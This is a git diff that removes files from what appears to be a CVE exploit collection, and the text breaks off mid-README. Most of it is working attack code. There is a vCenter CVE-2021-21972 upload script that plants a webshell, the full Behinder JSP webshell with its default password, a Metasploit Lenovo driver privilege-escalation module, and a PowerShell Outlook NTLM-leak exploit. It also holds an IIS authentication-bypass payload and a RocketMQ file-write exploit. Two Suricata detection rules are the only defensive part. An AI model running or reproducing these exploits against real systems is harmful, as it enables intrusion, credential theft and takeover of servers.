Compare commits
No commits in common. "master" and "helloexp-patch-1" have entirely different histories.
master
...
helloexp-p
@ -1,7 +0,0 @@
|
|||||||
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
|
|
||||||
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
|
|
||||||
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
|
|
||||||
#Only captures bytes sequence, this IDS signature subject to some false/negative and
|
|
||||||
#possible false/positives
|
|
||||||
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)
|
|
||||||
|
|
@ -1,7 +0,0 @@
|
|||||||
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
|
|
||||||
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
|
|
||||||
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
|
|
||||||
#Only captures bytes sequence, this IDS signature subject to some false/negative and
|
|
||||||
#possible false/positives tested with most exploits currently out
|
|
||||||
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)
|
|
||||||
|
|
@ -1,260 +0,0 @@
|
|||||||
#/usr/bin/env python3
|
|
||||||
import requests
|
|
||||||
import os
|
|
||||||
import argparse
|
|
||||||
import urllib3
|
|
||||||
import tarfile
|
|
||||||
import time
|
|
||||||
import sys
|
|
||||||
|
|
||||||
# remove SSL warning
|
|
||||||
urllib3.disable_warnings()
|
|
||||||
|
|
||||||
# get script work path
|
|
||||||
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]
|
|
||||||
|
|
||||||
# init payload path
|
|
||||||
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
|
|
||||||
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
|
|
||||||
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
|
|
||||||
LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"
|
|
||||||
|
|
||||||
# init vulnerable url and shell URL
|
|
||||||
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
|
|
||||||
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
|
|
||||||
LINUX_SHELL_URL = "/ui/resources/shell.jsp"
|
|
||||||
|
|
||||||
# set connect timeout
|
|
||||||
TIMEOUT = 10
|
|
||||||
|
|
||||||
# set headers
|
|
||||||
headers = {}
|
|
||||||
headers[
|
|
||||||
"User-Agent"
|
|
||||||
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
|
|
||||||
headers["Cache-Control"] = "no-cache"
|
|
||||||
headers["Pragma"] = "no-cache"
|
|
||||||
|
|
||||||
# get vcenter version,code from @TaroballzChen
|
|
||||||
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
|
||||||
<env:Body>
|
|
||||||
<RetrieveServiceContent xmlns="urn:vim25">
|
|
||||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
|
||||||
</RetrieveServiceContent>
|
|
||||||
</env:Body>
|
|
||||||
</env:Envelope>"""
|
|
||||||
|
|
||||||
|
|
||||||
def getValue(sResponse, sTag="vendor"):
|
|
||||||
try:
|
|
||||||
return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
return ""
|
|
||||||
|
|
||||||
|
|
||||||
def getVersion(sURL):
|
|
||||||
oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
|
|
||||||
if oResponse.status_code == 200:
|
|
||||||
sResult = oResponse.text
|
|
||||||
if not "VMware" in getValue(sResult, "vendor"):
|
|
||||||
print("[-] Not a VMware system: " + sURL, "error")
|
|
||||||
return
|
|
||||||
else:
|
|
||||||
sVersion = getValue(sResult, "version") # e.g. 7.0.0
|
|
||||||
sBuild = getValue(sResult, "build") # e.g. 15934073
|
|
||||||
sFull = getValue(sResult, "fullName")
|
|
||||||
print("[+] Identified: " + sFull, "good")
|
|
||||||
return sVersion, sBuild
|
|
||||||
print("Not a VMware system: " + sURL, "error")
|
|
||||||
sys.exit()
|
|
||||||
|
|
||||||
|
|
||||||
# Utils Functions, Code From @horizon3ai
|
|
||||||
def make_traversal_path(path, level=2):
|
|
||||||
traversal = ".." + "/"
|
|
||||||
fullpath = traversal * level + path
|
|
||||||
return fullpath.replace("\\", "/").replace("//", "/")
|
|
||||||
|
|
||||||
|
|
||||||
def archive(file, path):
|
|
||||||
tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
|
|
||||||
fullpath = make_traversal_path(path, level=2)
|
|
||||||
print("[+] Adding " + file + " as " + fullpath + " to archive")
|
|
||||||
tarf.add(file, fullpath)
|
|
||||||
tarf.close()
|
|
||||||
|
|
||||||
|
|
||||||
# Tool Functions
|
|
||||||
def checkVul(URL):
|
|
||||||
try:
|
|
||||||
res = requests.get(
|
|
||||||
URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
|
|
||||||
)
|
|
||||||
print("[*] Check {URL} is vul ...".format(URL=URL))
|
|
||||||
if res.status_code == 405:
|
|
||||||
print("[!] {URL} IS vul ...".format(URL=URL))
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
print("[-] {URL} is NOT vul ...".format(URL=URL))
|
|
||||||
return False
|
|
||||||
except:
|
|
||||||
print("[-] {URL} connect failed ...".format(URL=URL))
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def checkShellExist(SHELL_URI):
|
|
||||||
time.sleep(
|
|
||||||
5
|
|
||||||
) # vCenter copy file to web folder need some time, on most test,5s is good
|
|
||||||
re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
|
|
||||||
if re.status_code == 200:
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def uploadWindowsPayload(URL):
|
|
||||||
file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
|
|
||||||
re = requests.post(
|
|
||||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
|
||||||
)
|
|
||||||
if "SUCCESS" in re.text:
|
|
||||||
if checkShellExist(URL + WINDOWS_SHELL_URL):
|
|
||||||
print(
|
|
||||||
"[+] Shell exist URL: {url}, default password:rebeyond".format(
|
|
||||||
url=URL + WINDOWS_SHELL_URL
|
|
||||||
)
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
print("[-] All payload has been upload but not success.")
|
|
||||||
else:
|
|
||||||
print("[-] All payload has been upload but not success.")
|
|
||||||
|
|
||||||
|
|
||||||
def uploadLinuxShell(URL):
|
|
||||||
print("[*] Trying linux default payload...")
|
|
||||||
file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
|
|
||||||
re = requests.post(
|
|
||||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
|
||||||
)
|
|
||||||
if "SUCCESS" in re.text:
|
|
||||||
print("[+] Shell upload success, now check is shell exist...")
|
|
||||||
if checkShellExist(URL + LINUX_SHELL_URL):
|
|
||||||
print(
|
|
||||||
"[+] Shell exist URL: {URL}, default password:rebeyond".format(
|
|
||||||
URL=URL + LINUX_SHELL_URL
|
|
||||||
)
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
print(
|
|
||||||
"[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
|
|
||||||
)
|
|
||||||
uploadLinuxRandomPayload(URL)
|
|
||||||
else:
|
|
||||||
print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
|
|
||||||
uploadWindowsPayload(URL)
|
|
||||||
|
|
||||||
|
|
||||||
def uploadLinuxRandomPayload(URL):
|
|
||||||
for i in range(0, 120):
|
|
||||||
"""
|
|
||||||
vCenter will regenerate web folder when vCenter Server restart
|
|
||||||
Attempts to brute force web folders up to 120 times
|
|
||||||
"""
|
|
||||||
archive(
|
|
||||||
LINUX_RANDOM_PAYLOAD_SOURCE,
|
|
||||||
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
|
|
||||||
REPLACE_RANDOM_ID_HERE=i
|
|
||||||
),
|
|
||||||
)
|
|
||||||
file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}
|
|
||||||
re = requests.post(
|
|
||||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
|
||||||
)
|
|
||||||
if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
|
|
||||||
print(
|
|
||||||
"[+] Shell exist URL: {url}, default password:rebeyond".format(
|
|
||||||
url=URL + LINUX_SHELL_URL
|
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
|
||||||
"[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(
|
|
||||||
REPLACE_RANDOM_ID_HERE=i
|
|
||||||
)
|
|
||||||
)
|
|
||||||
exit()
|
|
||||||
|
|
||||||
|
|
||||||
def banner():
|
|
||||||
print(
|
|
||||||
"""
|
|
||||||
_______ ________ ___ ___ ___ __ ___ __ ___ ______ ___
|
|
||||||
/ ____\\ \\ / / ____| |__ \\ / _ \\__ \\/_ | |__ \\/_ |/ _ \\____ |__ \\
|
|
||||||
| | \\ \\ / /| |__ ______ ) | | | | ) || |______ ) || | (_) | / / ) |
|
|
||||||
| | \\ \\/ / | __|______/ /| | | |/ / | |______/ / | |\\__, | / / / /
|
|
||||||
| |____ \\ / | |____ / /_| |_| / /_ | | / /_ | | / / / / / /_
|
|
||||||
\\_____| \\/ |______| |____|\\___/____||_| |____||_| /_/ /_/ |____|
|
|
||||||
Test On vCenter 6.5 Linux/Windows
|
|
||||||
VMware-VCSA-all-6.7.0-8217866
|
|
||||||
VMware-VIM-all-6.7.0-8217866
|
|
||||||
VMware-VCSA-all-6.5.0-16613358
|
|
||||||
By: Sp4ce
|
|
||||||
Github:https://github.com/NS-Sp4ce
|
|
||||||
"""
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
banner()
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument(
|
|
||||||
"-url",
|
|
||||||
"--targeturl",
|
|
||||||
type=str,
|
|
||||||
help="Target URL. e.g: -url 192.168.2.1/-url https://192.168.2.1",
|
|
||||||
)
|
|
||||||
args = parser.parse_args()
|
|
||||||
url = args.targeturl
|
|
||||||
if "https://" not in url:
|
|
||||||
url = "https://" + url
|
|
||||||
if checkVul(url):
|
|
||||||
sVersion, sBuild = getVersion(url)
|
|
||||||
if (
|
|
||||||
int(sVersion.split(".")[0]) == 6
|
|
||||||
and int(sVersion.split(".")[1]) == 7
|
|
||||||
and int(sBuild) >= 13010631
|
|
||||||
) or (
|
|
||||||
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
|
|
||||||
):
|
|
||||||
print(
|
|
||||||
"[-] {TARGET} maybe running vCenter 6.7 U2+, and vCenter 6.7 U2+ running website in memory,so this exp may be not work well on vCenter 6.7 u2+.".format(TARGET=url)
|
|
||||||
)
|
|
||||||
userChoice = input("Do you still want to exploit?(y/n)")
|
|
||||||
if userChoice.lower() == "y":
|
|
||||||
uploadLinuxShell(url)
|
|
||||||
else:
|
|
||||||
sys.exit()
|
|
||||||
else:
|
|
||||||
uploadLinuxShell(url)
|
|
||||||
elif checkVul(url):
|
|
||||||
sVersion, sBuild = getVersion(url)
|
|
||||||
if (
|
|
||||||
int(sVersion.split(".")[0]) == 6
|
|
||||||
and int(sVersion.split(".")[1]) == 7
|
|
||||||
and int(sBuild) >= 13010631
|
|
||||||
) or (
|
|
||||||
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
|
|
||||||
):
|
|
||||||
print(
|
|
||||||
"[-] {TARGET} maybe running vCenter 6.7 U2+, and vCenter 6.7 U2+ running website in memory,so this exp may be not work well on vCenter 6.7 u2+.".format(TARGET=url)
|
|
||||||
)
|
|
||||||
userChoice = input("Do you still want to exploit?(y/n)")
|
|
||||||
if userChoice.lower() == "y":
|
|
||||||
uploadLinuxShell(url)
|
|
||||||
else:
|
|
||||||
sys.exit()
|
|
||||||
else:
|
|
||||||
uploadLinuxShell(url)
|
|
||||||
else:
|
|
||||||
parser.print_help()
|
|
@ -1,12 +0,0 @@
|
|||||||
# CVE-2021-21972
|
|
||||||
|
|
||||||
# Works On
|
|
||||||
- VMware-VCSA-all-6.7.0-8217866、VMware-VIM-all-6.7.0-8217866 ✔
|
|
||||||
- VMware-VCSA-all-6.5.0-16613358 ✔
|
|
||||||
|
|
||||||
# For vCenter6.7 U2+
|
|
||||||
vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+.
|
|
||||||
|
|
||||||
# Details
|
|
||||||
1. issue url `/ui/vropspluginui/rest/services/uploadova`,完整路径(`https://domain.com/ui/vropspluginui/rest/services/uploadova`)
|
|
||||||
2. `payload`文件夹内的`*.tar`文件为冰蝎3 webshell
|
|
@ -1 +0,0 @@
|
|||||||
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>
|
|
@ -1,116 +0,0 @@
|
|||||||
|
|
||||||
##
|
|
||||||
# This module requires Metasploit: https://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Local
|
|
||||||
Rank = GoodRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Local::WindowsKernel
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Post::Windows::Priv
|
|
||||||
include Msf::Post::Windows::Process
|
|
||||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
||||||
prepend Msf::Exploit::Remote::AutoCheck
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(
|
|
||||||
update_info(
|
|
||||||
info,
|
|
||||||
{
|
|
||||||
'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',
|
|
||||||
'Description' => %q{
|
|
||||||
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
|
|
||||||
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => [
|
|
||||||
'alfarom256', # Original PoC
|
|
||||||
'jheysel-r7' # msf module
|
|
||||||
],
|
|
||||||
'Arch' => [ ARCH_X64 ],
|
|
||||||
'Platform' => 'win',
|
|
||||||
'SessionTypes' => [ 'meterpreter' ],
|
|
||||||
'DefaultOptions' => {
|
|
||||||
'EXITFUNC' => 'thread'
|
|
||||||
},
|
|
||||||
'Targets' => [
|
|
||||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
|
||||||
],
|
|
||||||
'References' => [
|
|
||||||
[ 'CVE', '2022-3699' ],
|
|
||||||
[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]
|
|
||||||
],
|
|
||||||
'DisclosureDate' => '2022-11-09',
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'Notes' => {
|
|
||||||
'Stability' => [CRASH_SAFE],
|
|
||||||
'Reliability' => [REPEATABLE_SESSION],
|
|
||||||
'SideEffects' => []
|
|
||||||
},
|
|
||||||
'Compat' => {
|
|
||||||
'Meterpreter' => {
|
|
||||||
'Commands' => %w[
|
|
||||||
stdapi_railgun_api
|
|
||||||
]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
)
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
def check
|
|
||||||
unless session.platform == 'windows'
|
|
||||||
# Non-Windows systems are definitely not affected.
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
|
|
||||||
handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
|
||||||
if handle.nil?
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
|
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
|
||||||
CheckCode::Appears
|
|
||||||
end
|
|
||||||
|
|
||||||
def target_compatible?
|
|
||||||
build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i
|
|
||||||
vprint_status("Windows Build Number = #{build_num}")
|
|
||||||
|
|
||||||
return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045
|
|
||||||
return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000
|
|
||||||
return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348
|
|
||||||
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
if is_system?
|
|
||||||
fail_with(Failure::None, 'Session is already elevated')
|
|
||||||
end
|
|
||||||
|
|
||||||
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
|
|
||||||
unless target_compatible?
|
|
||||||
fail_with(Failure::NoTarget, 'The exploit does not support this target')
|
|
||||||
end
|
|
||||||
|
|
||||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
|
||||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
|
||||||
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
|
|
||||||
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
|
|
||||||
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
|
|
||||||
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded_payload = payload.encoded
|
|
||||||
execute_dll(
|
|
||||||
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),
|
|
||||||
[encoded_payload.length].pack('I<') + encoded_payload
|
|
||||||
)
|
|
||||||
|
|
||||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
|
||||||
end
|
|
||||||
end
|
|
@ -1,7 +0,0 @@
|
|||||||
### CVE
|
|
||||||
`CVE-2022-3699`
|
|
||||||
### 漏洞描述
|
|
||||||
> 通过控制`Lenovo Diagnostics Driver` 可以通过低权限的用户,访问任意的内存空间
|
|
||||||
### POC 使用
|
|
||||||
直接导入metasploit 平台即可使用
|
|
||||||
|
|
@ -1,46 +0,0 @@
|
|||||||
|
|
||||||
# CVE-2023-23397
|
|
||||||
# outlook 信息泄露漏洞
|
|
||||||
# 需要配合Responder 使用
|
|
||||||
|
|
||||||
# usage
|
|
||||||
# Import-Module .\exp.ps1
|
|
||||||
# Send-CalendarNTLMLeak -recipient "test@xyc.com" -remotefilepath "192.168.128.132\\\foo\bar.wav" -meetingsubject "THM Meeting" -meetingbody "This is just a test"
|
|
||||||
|
|
||||||
|
|
||||||
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody)
|
|
||||||
{
|
|
||||||
# Add-Type -assembly "Microsoft.Office.Interop.Outlook"
|
|
||||||
|
|
||||||
$Outlook = New-Object -comobject Outlook.Application
|
|
||||||
$newcal = $outlook.CreateItem('olAppointmentItem')
|
|
||||||
$newcal.ReminderSoundFile = $remotefilepath
|
|
||||||
$newcal.Recipients.add($recipient)
|
|
||||||
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
|
|
||||||
$newcal.Subject = $meetingsubject
|
|
||||||
$newcal.Location = "Virtual"
|
|
||||||
$newcal.Body = $meetingbody
|
|
||||||
$newcal.Start = get-date
|
|
||||||
$newcal.End = (get-date).AddHours(2)
|
|
||||||
$newcal.ReminderOverrideDefault = 1
|
|
||||||
$newcal.ReminderSet = 1
|
|
||||||
$newcal.ReminderPlaysound = 1
|
|
||||||
$newcal.send()
|
|
||||||
}
|
|
||||||
|
|
||||||
function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meetingbody)
|
|
||||||
{
|
|
||||||
$Outlook = New-Object -comObject Outlook.Application
|
|
||||||
$newcal = $outlook.CreateItem('olAppointmentItem')
|
|
||||||
$newcal.ReminderSoundFile = $remotefilepath
|
|
||||||
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
|
|
||||||
$newcal.Subject = $meetingsubject
|
|
||||||
$newcal.Location = "Virtual"
|
|
||||||
$newcal.Body = $meetingbody
|
|
||||||
$newcal.Start = get-date
|
|
||||||
$newcal.End = (get-date).AddHours(2)
|
|
||||||
$newcal.ReminderOverrideDefault = 1
|
|
||||||
$newcal.ReminderSet = 1
|
|
||||||
$newcal.ReminderPlaysound = 1
|
|
||||||
$newcal.save()
|
|
||||||
}
|
|
@ -1,35 +0,0 @@
|
|||||||
|
|
||||||
|
|
||||||
# CVE-2023-36899.NET 身份绕过 IIS 认证
|
|
||||||
|
|
||||||
默认情况下.NET 会话产生的 SessionID 一般位于 HTTP 报文请求或者响应的 Cookie 字段,
|
|
||||||
命名方式如下
|
|
||||||
`Cookie:ASP.NET_SessionId=uxfzmc552rdiwh45ja2t3vud;`
|
|
||||||
|
|
||||||
如果不想用上述的 Cookie 存储方式也可以改成 Cookie 不带 SessionID 这样的会话,只需要在 web.config 配置<SessionState>节点属性 cookieless 属性为 true,这样.NET 将会话 ID 随着 HTTP 请求附加到 URL 地址上。配置清单如下
|
|
||||||
```xml
|
|
||||||
<system.web>
|
|
||||||
<sessionState cookieless="true"/>
|
|
||||||
</system.web>
|
|
||||||
```
|
|
||||||
这样配置后 Cookie 作为 URL 地址的一部分,会话 SessionID 值都以明文的形式发送显然
|
|
||||||
是不安全的。如下图
|
|
||||||
但是在早期基于.NET Framwork 版本的应用中大量存在这样的场景,然而这种特性也会存
|
|
||||||
在绕过 IIS 身份验证的风险。以下通过实验演示绕过 IIS 身份验证的漏洞场景。
|
|
||||||
在 IIS 项目中 Windows 身份验证是一种强大且广泛使用的身份验证方法,需要匿名访问的
|
|
||||||
用户输入正确的 Windows 本地帐户登录后才能访问该 Web 应用。配置 Windows 身份验证
|
|
||||||
步骤如下:
|
|
||||||
1. 启用 Windows 身份验证安全功能
|
|
||||||
2. 打开 IIS10 选择 Uploads 目录后进入身份验证模块,启用 Windows 身份验证
|
|
||||||
配置完成后访问 /(S(mwdwx5uhl2yqliv2w45c5cla))/uploads/dynamicCompilerSpy.aspx
|
|
||||||
弹出授权登录对话框如下图
|
|
||||||
遇到这种需要本地 Windows 账户登录才能访问,一般攻击在打点时遇到这样 WebShell 上
|
|
||||||
传后的场景还是比较常见的,以前可能就放弃或者找其他的解决办法,现在可以用 URL 会
|
|
||||||
话 ID 的方式绕过,
|
|
||||||
3. 常用的 Bypass Payload 如下
|
|
||||||
`(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/
|
|
||||||
`
|
|
||||||
|
|
||||||
输入两次会话 ID,并且拆解了 uploads 目录,这对绕过 WAF 等安全防护也是有用的。请求
|
|
||||||
`http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx`
|
|
||||||
后成功绕过 Windows 身份认证
|
|
@ -1 +0,0 @@
|
|||||||
http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx
|
|
@ -1,76 +0,0 @@
|
|||||||
import sys
|
|
||||||
import argparse
|
|
||||||
import socket
|
|
||||||
import binascii
|
|
||||||
|
|
||||||
|
|
||||||
def exploit(address, port):
|
|
||||||
try:
|
|
||||||
client_socket = socket.socket()
|
|
||||||
client_socket.settimeout(5) # Set socket timeout to 5 seconds
|
|
||||||
client_socket.connect((address, port))
|
|
||||||
|
|
||||||
# common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
|
|
||||||
# public static final int UPDATE_NAMESRV_CONFIG = 318;
|
|
||||||
header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode(
|
|
||||||
'utf-8')
|
|
||||||
body = 'configStorePath=/tmp/pwned\nproductEnvName=test/path\\ntest\\ntest'.encode('utf-8')
|
|
||||||
|
|
||||||
header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
|
|
||||||
header_length_hex = '00000000' + str(hex(header_length))[2:]
|
|
||||||
total_length = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + header_length)
|
|
||||||
total_length_hex = '00000000' + str(hex(total_length))[2:]
|
|
||||||
data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode(
|
|
||||||
'utf-8') + binascii.hexlify(body).decode('utf-8')
|
|
||||||
|
|
||||||
client_socket.send(bytes.fromhex(data))
|
|
||||||
data_received = client_socket.recv(1024)
|
|
||||||
print(data_received)
|
|
||||||
|
|
||||||
client_socket.close()
|
|
||||||
except socket.timeout:
|
|
||||||
print(f"Connection to {address}:{port} timed out")
|
|
||||||
|
|
||||||
|
|
||||||
def get_namesrv_config(address, port):
|
|
||||||
try:
|
|
||||||
client_socket = socket.socket()
|
|
||||||
client_socket.settimeout(5) # Set socket timeout to 5 seconds
|
|
||||||
client_socket.connect((address, port))
|
|
||||||
|
|
||||||
# common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
|
|
||||||
# public static final int GET_NAMESRV_CONFIG = 319;
|
|
||||||
header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode(
|
|
||||||
'utf-8')
|
|
||||||
|
|
||||||
header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
|
|
||||||
header_length_hex = '00000000' + str(hex(header_length))[2:]
|
|
||||||
total_length = int(4 + header_length)
|
|
||||||
total_length_hex = '00000000' + str(hex(total_length))[2:]
|
|
||||||
data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')
|
|
||||||
|
|
||||||
client_socket.send(bytes.fromhex(data))
|
|
||||||
data_received = client_socket.recv(1024)
|
|
||||||
print(data_received)
|
|
||||||
|
|
||||||
client_socket.close()
|
|
||||||
except socket.timeout:
|
|
||||||
print(f"Connection to {address}:{port} timed out")
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
parser = argparse.ArgumentParser(description='RocketMQ Exploit')
|
|
||||||
parser.add_argument('-ip', default='127.0.0.1', help='Nameserver address')
|
|
||||||
parser.add_argument('-p', default=9876, type=int, help='Nameserver listen port')
|
|
||||||
|
|
||||||
if len(sys.argv) == 1:
|
|
||||||
parser.print_help()
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
print('current nameserver config:')
|
|
||||||
get_namesrv_config(args.ip, args.p)
|
|
||||||
exploit(args.ip, args.p)
|
|
||||||
print('modified nameserver config:')
|
|
||||||
get_namesrv_config(args.ip, args.p)
|
|
@ -1,50 +0,0 @@
|
|||||||
# CVE-2023-37582_EXPLOIT
|
|
||||||
Apache RocketMQ Arbitrary File Write Vulnerability Exploit Demo
|
|
||||||
|
|
||||||
# Overview
|
|
||||||
In fact, the Arbitrary file write vulnerability(CVE-2023-37582) in Apache RocketMQ has already been addressed in the CVE-2023-33246 RCE vulnerability.
|
|
||||||
However, the fix provided for [CVE-2023-33246](https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT) RCE is not comprehensive as it only resolves the impact on RocketMQ's broker.
|
|
||||||
This vulnerability affects RocketMQ's nameserver, and exploiting it allows for arbitrary file write capabilities.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Setup local RocketMQ environment via Docker
|
|
||||||
```bash
|
|
||||||
|
|
||||||
# start name server
|
|
||||||
